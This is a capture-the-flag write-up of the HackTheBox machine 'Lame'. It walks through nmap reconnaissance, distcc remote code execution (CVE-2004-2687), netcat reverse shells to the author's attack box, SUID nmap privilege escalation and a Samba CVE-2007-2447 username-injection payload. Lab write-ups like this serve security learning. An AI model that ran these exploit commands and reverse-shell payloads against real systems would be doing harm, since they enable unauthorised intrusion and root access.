CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Lame

linux distcc nmap setuid

Lame is a Linux-based machine authored by ch4p, with an average rating of 4.5 stars.

// Recon

┌──(kali㉿kali)-[~/HTB/lame]
└─$ nmap -A -p- lame.htb -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-20 08:52 AEST
Nmap scan report for lame.htb (10.10.10.3)
Host is up (0.039s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.17.230
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2022-06-19T18:55:24-04:00
|_clock-skew: mean: 2h00m10s, deviation: 2h49m45s, median: 7s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.03 seconds

An initial nmap scap without the -Pn flag (to skip host discovery) fails to detect any open ports, which is interesting because the machine does respond to regular ping requests. After adding the flag, nmap and basic service enumeration confirms that the machine is using Ubuntu and running:

// Initial Foothold

Distccd is a distributed compiler service that allows network-based code compilation, in a client-server fashion. Without knowing anything about how this is implemented, conceptually this already feels like a potential security risk. Any kind of service that runs remote system commands against user input is potentially vulnerable, and code compiliation definitely falls into the category of system commands. Some quick research indicates this particular implementation is indeed vulnerable to remote code execution, which we can achieve via the nmap scripting engine (NSE):

┌──(kali㉿kali)-[~/HTB/lame]
└─$ nmap -p 3632 lame.htb --script=distcc-cve2004-2687 --script-args="distcc-cve2004-2687.cmd='id'"
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-20 11:29 AEST
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
...

PORT     STATE SERVICE
3632/tcp open  distccd
| distcc-cve2004-2687: 
|   VULNERABLE:
|   distcc Daemon Command Execution
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2004-2687
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|       Allows executing of arbitrary commands on systems running distccd 3.1 and
|       earlier. The vulnerability is the consequence of weak service configuration.
|       
|     Disclosure date: 2002-02-01
|     Extra information:
|       
|     uid=1(daemon) gid=1(daemon) groups=1(daemon)
|   
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
|       https://distcc.github.io/security.html
|_      https://nvd.nist.gov/vuln/detail/CVE-2004-2687

Varying the script arguments allows us to run any command available to the daemon user, e.g:

┌──(kali㉿kali)-[~/HTB/lame]
└─$ nmap -p 3632 lame.htb --script=distcc-cve2004-2687 --script-args="distcc-cve2004-2687.cmd='uname -a'"
...
|     Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

We can use easily this to establish a reverse shell, first by establishing a listener on our attack box:

┌──(kali㉿kali)-[~/HTB/lame]
└─$ nc -lvnp 443
listening on [any] 443 ...

and then connecting back from the target using nc (netcat):

┌──(kali㉿kali)-[~/HTB/lame]
└─$ nmap -p 3632 lame.htb --script=distcc-cve2004-2687 --script-args="distcc-cve2004-2687.cmd='nc -e /bin/bash 10.10.17.230 443'"

On our attack box, we complete the connection:

# spawn a bash shell
python -c 'import pty; pty.spawn("/bin/bash")'
# <ctrl + z> to background
# set STTY to raw & instruct it to echo input characters
stty raw -echo
# return session to foreground
fg (not visible)
# set TERM and stty settings
export TERM=xterm
stty rows <row-count> columns <col-count>

Tools like penelope can handle all of this shell configuration automatically, but it’s useful to understand the underlying process of what’s taking place, in case an automated tool doesn’t work in a given situation.

From here, we can navigate to the /home folder and find the user flag in the makis user’s directory:

daemon@lame:/tmp$ cd /home
daemon@lame:/home$ ls
ftp  makis  service  user
daemon@lame:/home$ find . -iname user.txt
./makis/user.txt
daemon@lame:/home$ cd makis/user.txt
a31aa***************************

// Privilege Escalation

Enumerating the filesystem doesn’t reveal much interesting content, but checking the running process & listening ports does. It seems like this machine has been configured to run a stack of services that listen on all interfaces, but don’t accept connection requests from our attack box, likely due to firewalling:

daemon@lame:/tmp$ netstat -antup     
(Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
...
tcp        0      0 0.0.0.0:6697            0.0.0.0:*               LISTEN      -
# possible mysql server
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      -
...
# possible web server
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
...
# another possible web server
tcp        0      0 0.0.0.0:8180            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      -
# possible dns server
tcp        0      0 10.10.10.3:53           0.0.0.0:*               LISTEN      -
# possible telnet server
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN      -
# possible postgresql server
tcp        0      0 0.0.0.0:5432            0.0.0.0:*               LISTEN      -
# possible smtp server
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      -
...

Virtually all of these contain no real-world configuration, and in some cases are completely insecured (MySQL for example is running with no root password, but there are no interesting databases available). Connecting to the telnet server returns a banner that indicates the machine has been setup to run Metasploitable2, a deliberately vulnerable O/S with many insecure services. At a guess, it looks like this may have been added to the machine at some point after it’s release, to increase the attack surface and number of paths to exploitation. Unfortunately it seems like a lot of these are so obvious as to be trivial (e.g. the vsftpd exploit mentioned earlier does work, but only locally). Others are more interesting to exploit but only lead to lateral movement to another unprivileged account. For example there is an Apache Tom Cat server running on port 8180 which we can port-forward to over HTTP using chisel and exploit, using default credentials and and a malicious .WAR (web archive) payload. But that simply moves us laterally to the tomcat user, who doesn’t appear to have any more privileges than daemon.

Checking for SUID (Set UID) binaries should always feature in any enumeration checklist. Essentially, these are binaries that will always run with the permissions of the owner, so root-owned SUID binaries are especially appealing. A simple find command can search for these:

daemon@lame:/tmp$ find / -user root -perm -4000 2>/dev/null
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
...

Obviously not all of these are exploitable. Sites like GTFOBins do a great job of identifying which might be, and in this case it’s nmap, thanks to an interactive mode that can be abused to spawn a root shell:

daemon@lame:/tmp$ nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !whoami
root

Any command preceeded with ! will execute the os-equivalent, as the root user. One command turns the nmap session into a system shell:

nmap> !sh
sh-3.2#

From here, we can retrieve the root flag in the usual location:

sh-3.2# cd /root 
sh-3.2# cat root.txt
1a5b7***************************

// Final Thoughts

This is a very old HTB machine (circa-2017) and the addition of Metasploitable2 into the mix makes it a bit confusing to figure out the intended path. After achieving root through distcc + nmap, and checking out some writeups to see others’ approach, it seems like the creator’s original idea was for the machine’s SMB server to be exploited via CVE-2007-2447, which enabled RCE via shellcode inclusion in the supplied username:

# running the exploit to establish reverse shell:
┌──(kali㉿kali)-[~/HTB/lame]
└─$ smbmap -H lame.htb -u '/=`nohup nc -e /bin/sh 10.10.17.230 445`' -p '

# catching it:
┌──(kali㉿kali)-[~/HTB/lame]
└─$ nc -lvnp 445
listening on [any] 445 ...
connect to [10.10.17.230] from (UNKNOWN) [10.10.10.3] 51947
whoami
root

This takes the user straight to root, meaning no privesc exploit is necessary. Since I came across the distcc exploit first, that ended up being the path I followed, which ultimately taught me something new about nmap along the way.